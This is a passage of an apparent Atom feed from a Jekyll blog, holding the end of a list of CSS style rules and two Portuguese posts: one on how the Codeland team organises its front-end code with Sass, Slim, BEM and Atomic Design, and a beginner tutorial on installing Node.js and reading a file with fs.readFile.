&lt;p&gt;&lt;a href=&quot;http://csswizardry.com/2011/09/when-using-ids-can-be-a-pain-in-the-class/&quot;&gt;Never&lt;/a&gt; &lt;a href=&quot;http://screwlewse.com/2010/07/dont-use-id-selectors-in-css/&quot;&gt;use&lt;/a&gt; &lt;a href=&quot;http://cssguidelin.es/#ids-in-css&quot;&gt;id&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;rule-5&quot;&gt;Rule #5&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;http://www.sitepoint.com/avoid-sass-extend/&quot;&gt;Never&lt;/a&gt; &lt;a href=&quot;http://www.sitepoint.com/sass-extend-nobody-told-you/&quot;&gt;use&lt;/a&gt; &lt;a href=&quot;http://pressupinc.com/blog/2014/11/dont-overextend-yourself-in-sass/&quot;&gt;@extend.&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;rule-6&quot;&gt;Rule #6&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;http://thesassway.com/intermediate/avoid-nested-selectors-for-more-modular-css&quot;&gt;Keep&lt;/a&gt; &lt;a href=&quot;http://sass-guidelin.es/#selector-nesting&quot;&gt;calm&lt;/a&gt; &lt;a href=&quot;http://thesassway.com/beginner/the-inception-rule&quot;&gt;to use&lt;/a&gt; &lt;a href=&quot;http://www.sitepoint.com/beware-selector-nesting-sass/&quot;&gt;nesting selector&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;rule-7&quot;&gt;Rule #7&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/rstacruz/rscss&quot;&gt;Follow&lt;/a&gt; &lt;a href=&quot;http://www.smashingmagazine.com/2011/12/12/an-introduction-to-object-oriented-css-oocss/&quot;&gt;some&lt;/a&gt; &lt;a href=&quot;https://smacss.com/&quot;&gt;architeture&lt;/a&gt; &lt;a href=&quot;http://bradfrost.com/blog/post/atomic-web-design/&quot;&gt;for your code&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;rule-8&quot;&gt;Rule #8&lt;/h3&gt;

&lt;p&gt;Keep your code well commented.&lt;/p&gt;

&lt;h2 id=&quot;want-to-contribute-with-our-club&quot;&gt;Want to contribute with our club?&lt;/h2&gt;

&lt;p&gt;Send a PR with new and awesome rules &lt;a href=&quot;https://github.com/filipelinhares/CSS-Club&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Como organizamos o código front-end na Codeland</title>
   <link href="https://github.com/filipelinhares/jekyll-marlene/2015/organizando-codigo-codeland.html"/>
   <updated>2015-02-03T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2015/organizando-codigo-codeland</id>
   <content type="html">&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/2638/1*kO5ofQ0XukbjR6MF4PsHIA.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;codeland&quot;&gt;Codeland?&lt;/h2&gt;

&lt;p&gt;A Codeland é uma empresa de desenvolvimento web de Porto Alegre, conta com uma galera muito maneira e cheia de idéias, se um dia tiver de bobeira e quiser trocar uma idéia com a gente, sera muito bem bem vindo :D.&lt;/p&gt;

&lt;p&gt;Estou trabalhando na &lt;a href=&quot;http://codeland.com.br/&quot;&gt;Codeland&lt;/a&gt; a quase 5 meses e quando eu cheguei não existia muito bem definido como funcionaria a organização do front. Depois de algumas conversar e analises sobre qual seria a melhor forma de fazer isso chegamos a um set de ferramentas e metódologias que eu irei mostrar pra vocês nesse post.&lt;/p&gt;

&lt;h2 id=&quot;começando&quot;&gt;Começando&lt;/h2&gt;

&lt;p&gt;Começando pelo mais básico, assim é a organização nosso código e essas são as melhores práticas utilizadas para manter a consistência.&lt;/p&gt;

&lt;h2 id=&quot;best-pactrices&quot;&gt;“Best Pactrices”&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;SCSS Syntax&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Atomic Design.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;BEM para nomenclatura.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Somente classes nada de ids.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Evitamos usar nesting, e se usar no máximo 3 níveis.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Organizamos as propriedades CSS com o CSS Comb.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Cores com Hexadecimal e unidades sempre px (em em alguns casos).&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;ferramentas&quot;&gt;Ferramentas&lt;/h2&gt;

&lt;h3 id=&quot;sass&quot;&gt;&lt;strong&gt;Sass&lt;/strong&gt;&lt;/h3&gt;

&lt;p&gt;Para lidar com o CSS utilizamos Sass. Ele fornece uma infinidade de features na hora de lidar com CSS como: variáveis, mixins, placeholders, functions. e muito mais. Isso agiliza bastante o nosso trabalho e também ajuda muito na hora da organização.&lt;/p&gt;

&lt;h3 id=&quot;slim&quot;&gt;&lt;strong&gt;Slim&lt;/strong&gt;&lt;/h3&gt;

&lt;p&gt;Como template engine usamos o slim, que em nossa opinião é a forma mais limpa e organizada de escrever html. Slim está para html como sass está para css, é simplesmente lindo!&lt;/p&gt;

&lt;h2 id=&quot;estrutura-de-pastas&quot;&gt;Estrutura de pastas&lt;/h2&gt;

&lt;p&gt;Como havia comentado, usamos atomic design como metodologia para organizar, e é de lá que tiramos nossa estrutura de pastas.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/2000/1*9NKWsgD1aSWmq6Tx-sB6wQ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;metodologias&quot;&gt;Metodologias&lt;/h2&gt;

&lt;p&gt;Aqui totalmente caberia um novo post para ir a fundo em casa uma delas, então por hora escolhi deixar o link de um artigo do tableless para cada, assim se você se interessar pode dar uma conferida lá.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://tableless.com.br/bem-um-novo-metodo-para-seu-css/&quot;&gt;Bem um novo método para CSS &lt;/a&gt;— &lt;a href=&quot;http://tableless.com.br/?author=6&quot;&gt;Thaiana Po&lt;/a&gt;plade&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://tableless.com.br/o-que-e-design-atomic/&quot;&gt;Atomic design para organização do código&lt;/a&gt; — &lt;a href=&quot;https://twitter.com/daniguerrato&quot;&gt;Dani Guerrato&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;frameworks&quot;&gt;Frameworks&lt;/h2&gt;

&lt;p&gt;Como framework base costumamos utilizar o já bastante utilizado bootstrap. Ele traz uma infinidade de components e estilos que são muito uteis, mas devem ser usados com sabedoria para no final das contas não ficar uma macarronada no código.&lt;/p&gt;

&lt;h2 id=&quot;concluindo&quot;&gt;Concluindo&lt;/h2&gt;

&lt;p&gt;Na stack de front-end procuramos estar sempre atualizados com o que há de mais novo, as melhores tecnicas para e, principalmente, o que facilita e nos ajuda para melhor desenvolver nossos projetos. Espero que esse texto possa ajudar você a conhecer alguma metodologia ou ferramenta nova, e que tenham gostado de conhecer um pouco de como funcionam as coisas aqui na Codeland!&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Começando com Node.js</title>
   <link href="https://github.com/filipelinhares/jekyll-marlene/2014/comecando-com-nodejs.html"/>
   <updated>2014-07-28T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2014/comecando-com-nodejs</id>
   <content type="html">&lt;h3 id=&quot;um-post-simples-para-quem-quer-começar-com-nodejs-simples-mesmo&quot;&gt;Um post simples para quem quer começar com Node.js (simples mesmo).&lt;/h3&gt;

&lt;h2 id=&quot;introdução&quot;&gt;Introdução&lt;/h2&gt;

&lt;p&gt;Esse é um artigo bem voltado pra utilização inicial, instalação, se você quiser saber sobre V8, event loop, etc recomendo os a&lt;a href=&quot;http://udgwebdev.com/nodejs-para-leigos-introducao/&quot;&gt;rtigos do Caio Ribeiro&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;começando&quot;&gt;Começando&lt;/h2&gt;

&lt;p&gt;Antes da brincadeira começar, é preciso instalar o Node.js na sua máquina. Vai lá no site &lt;a href=&quot;http://nodejs.org&quot;&gt;do nodejs.org&lt;/a&gt;, clica em download que você vai ver as seguintes opções:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/2000/1*WR66PsqHL9w5_nysXi4yWA.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;windows-e-mac-os&quot;&gt;Windows e MAC-OS&lt;/h3&gt;

&lt;p&gt;Se você usa o Windows e/ou MAC basta baixar o instalador.&lt;/p&gt;

&lt;h3 id=&quot;linux&quot;&gt;Linux&lt;/h3&gt;

&lt;p&gt;No Linux eu já utilizei duas formas de instalar e funcionaram perfeitamente, vou mostrar as duas e fica a seu critério qual a melhor maneira:&lt;/p&gt;

&lt;h3 id=&quot;source-code&quot;&gt;Source Code&lt;/h3&gt;

&lt;p&gt;Baixe o “Source Code” na mesma tela de anteriormente. Quanado terminar o download, extraia a pasta. Abra seu terminal &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(ctrl + alt + t)&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; $ cd node-v0.XX.YY/
 $ ./configure
 $ make
 $ sudo make install
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;feito isso já estão instalados o Node.js e o NPM.&lt;/p&gt;

&lt;h3 id=&quot;package-manager--ubuntu&quot;&gt;Package Manager → Ubuntu&lt;/h3&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; $ sudo add-apt-repository ppa:chris-lea/node.js
 $ sudo apt-get update
 $ sudo apt-get install nodejs
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Pronto, agora você tem o Node.js instalado em seu computador. Vamos brincar um pouco com o código, mas não aquele &lt;a href=&quot;https://nodejs.org/#column1&quot;&gt;exemplo do servidor&lt;/a&gt; que todo mundo faz.&lt;/p&gt;

&lt;h2 id=&quot;começando-a-brincadeira&quot;&gt;Começando a brincadeira&lt;/h2&gt;

&lt;p&gt;Para fazer uma demonstração bem simples do Node.js, ler um arquivo de texto e exibir seu conteúdo.&lt;/p&gt;

&lt;p&gt;O Node.js, usa &lt;a href=&quot;http://pt.wikipedia.org/wiki/CommonJS&quot;&gt;CommonJS&lt;/a&gt; para gerenciar seus módulos, (provavelmente você já viu essa sintaxe por ai).&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;var fs = require(&apos;fs&apos;);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Nesse código estamos fazendo a chamada (require) do módulo &lt;a href=&quot;http://nodejs.org/api/fs.html&quot;&gt;File System&lt;/a&gt; que serve para trabalhar com sistema de arquivos e etc.&lt;/p&gt;

&lt;p&gt;Vamos à primeira parte do nosso código.&lt;/p&gt;

&lt;p&gt;Temos dois arquivos na nossa pasta como podemos ver:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;|-index.js
|-arquivo.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Dentro do &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arquivo.txt&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Olá com Node.js!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Dentro do &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;index.js&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;var fs = require(&apos;fs&apos;);

fs.readFile(&apos;arquivo.txt&apos;, {encoding: &apos;UTF-8&apos;}, function (err, data) {
  console.log(data);
});
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;No código acima carregamos o módulo &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;File System&lt;/code&gt; (fs), e então utilizamos o método &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;readFile&lt;/code&gt; para ler o arquivo.&lt;/p&gt;

&lt;p&gt;Esse método, aceita três parâmetros:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;fs.readFile(&apos;**nome-arquivo**&apos;, **options**, **callback(erro, conteudo)** );
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A função de callback será executada assim que o arquivo terminar de ser lido, e recebe dois parâmetros, o primeiro é o erro (se o arquivo não existir ou algo assim), e o segundo é o conteúdo do arquivo.&lt;/p&gt;

&lt;p&gt;Para rodar esse nosso exemplo, basta de dentro da pasta executarmos o comando “node” pelo terminal, seguido do nome do arquivo que queremos executar, no caso o &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;index.js&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ node index.js
=&amp;gt; Olá com Node.js!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;E então obtivemos o output com o conteúdo do &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arquivo.txt&lt;/code&gt; através do console.log().&lt;/p&gt;

&lt;h2 id=&quot;finalizando&quot;&gt;Finalizando&lt;/h2&gt;

&lt;p&gt;Bom galera, esse foi um exemplo bem simples de como é o Node.js, quis fazer algo bem básico para que qualquer um possa ter seu contato inicial. Agora é sua hora de ir atrás de mais conteúdo e ficar cada vez mais fera com essa tecnologia que está com tudo.&lt;/p&gt;
</content>
 </entry>
 

</feed>
